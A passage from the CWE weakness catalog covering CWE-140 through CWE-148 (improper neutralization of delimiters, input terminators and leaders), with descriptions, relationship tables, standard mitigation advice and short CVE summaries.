#### Research Gap

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Special Elements (Characters or Reserved Words)
PLOVER			Custom Special Character Injection
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
34	HTTP Response Splitting
105	HTTP Request Splitting

## CWE-140: Improper Neutralization of Delimiters

**Weakness ID** : 140

**Structure** : Simple

**Abstraction** : Base

### Description








The product does not neutralize or incorrectly neutralizes delimiters.

### Relationships


The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		141	Improper Neutralization of Parameter/Argument Delimiters	362
ParentOf		142	Improper Neutralization of Value Delimiters	364
ParentOf		143	Improper Neutralization of Record Delimiters	365
ParentOf		144	Improper Neutralization of Line Delimiters	367
ParentOf		145	Improper Neutralization of Section Delimiters	369
ParentOf		146	Improper Neutralization of Expression/Command Delimiters	371

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation**

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Delimiter Problems
Software Fault Patterns	SFP24		Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

**CWE-141: Improper Neutralization of Parameter/Argument Delimiters**

**Weakness ID :** 141

**Structure :** Simple

**Abstraction :** Variant

**Description**

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		140	Improper Neutralization of Delimiters	360

**Applicable Platforms**

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Unexpected State	

Scope	Impact	Likelihood
-------	--------	------------

### Potential Mitigations

Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2003-0307</b>	Attacker inserts field separator into input to specify admin privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0307">https://www.cve.org/CVERecord?id=CVE-2003-0307</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Parameter Delimiter



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-142: Improper Neutralization of Value Delimiters

**Weakness ID** : 142

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊕	140	Improper Neutralization of Delimiters	360

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be

syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

#### Observed Examples

Reference	Description
<b>CVE-2000-0293</b>	Multiple internal space, insufficient quoting - program does not use proper delimiter between values. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0293">https://www.cve.org/CVERecord?id=CVE-2000-0293</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Value Delimiter
Software Fault Patterns	SFP24		Tainted input to command

#### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-143: Improper Neutralization of Record Delimiters

**Weakness ID** : 143  
**Structure** : Simple  
**Abstraction** : Variant

#### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.


### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		140	Improper Neutralization of Delimiters	360

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation**

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**Observed Examples**

Reference	Description
<b>CVE-2004-1982</b>	Carriage returns in subject field allow adding new records to data file. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1982">https://www.cve.org/CVERecord?id=CVE-2004-1982</a>
<b>CVE-2001-0527</b>	Attacker inserts carriage returns and " " field separator characters to add new user/privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0527">https://www.cve.org/CVERecord?id=CVE-2001-0527</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Record Delimiter
Software Fault Patterns	SFP24		Tainted input to command

**References**

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

**CWE-144: Improper Neutralization of Line Delimiters**

**Weakness ID** : 144

**Structure** : Simple

**Abstraction** : Variant

**Description**

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	360
CanAlsoBe	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	211

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0267</b>	Linebreak in field of PHP script allows admin privileges when written to data file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0267">https://www.cve.org/CVERecord?id=CVE-2002-0267</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237

## Notes

### Relationship

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Line Delimiter
The CERT Oracle Secure Coding Standard for Java (2011)	IDS03-J		Do not log unsanitized user input
Software Fault Patterns	SFP24		Tainted input to command

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-145: Improper Neutralization of Section Delimiters

**Weakness ID** : 145

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.



One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.



*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		140	Improper Neutralization of Delimiters	360
CanAlsoBe		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	211

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Relationship

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Section Delimiter
Software Fault Patterns	SFP24		Tainted input to command

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-146: Improper Neutralization of Expression/Command Delimiters

**Weakness ID** : 146

**Structure** : Simple

**Abstraction** : Variant

## Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.

## Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	140	Improper Neutralization of Delimiters	360

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Alter Execution Logic	
Availability		
Other		

## Potential Mitigations

Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of

denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Relationship

A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Delimiter between Expressions or Commands
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-147: Improper Neutralization of Input Terminators

**Weakness ID** : 147

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.



### Extended Description

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		626	Null Byte Interaction Error (Poison Null Byte)	1312

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be

syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2000-0319</b>	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0319">https://www.cve.org/CVERecord?id=CVE-2000-0319</a>
<b>CVE-2000-0320</b>	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0320">https://www.cve.org/CVERecord?id=CVE-2000-0320</a>
<b>CVE-2001-0996</b>	Mail server does not quote end-of-input terminator if it appears in the middle of a message. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0996">https://www.cve.org/CVERecord?id=CVE-2001-0996</a>
<b>CVE-2002-0001</b>	Improperly terminated comment or phrase allows commands. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0001">https://www.cve.org/CVERecord?id=CVE-2002-0001</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Input Terminator
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
460	HTTP Parameter Pollution (HPP)

## CWE-148: Improper Neutralization of Input Leaders

**Weakness ID** : 148

**Structure** : Simple

**Abstraction** : Variant


### Description

The product does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
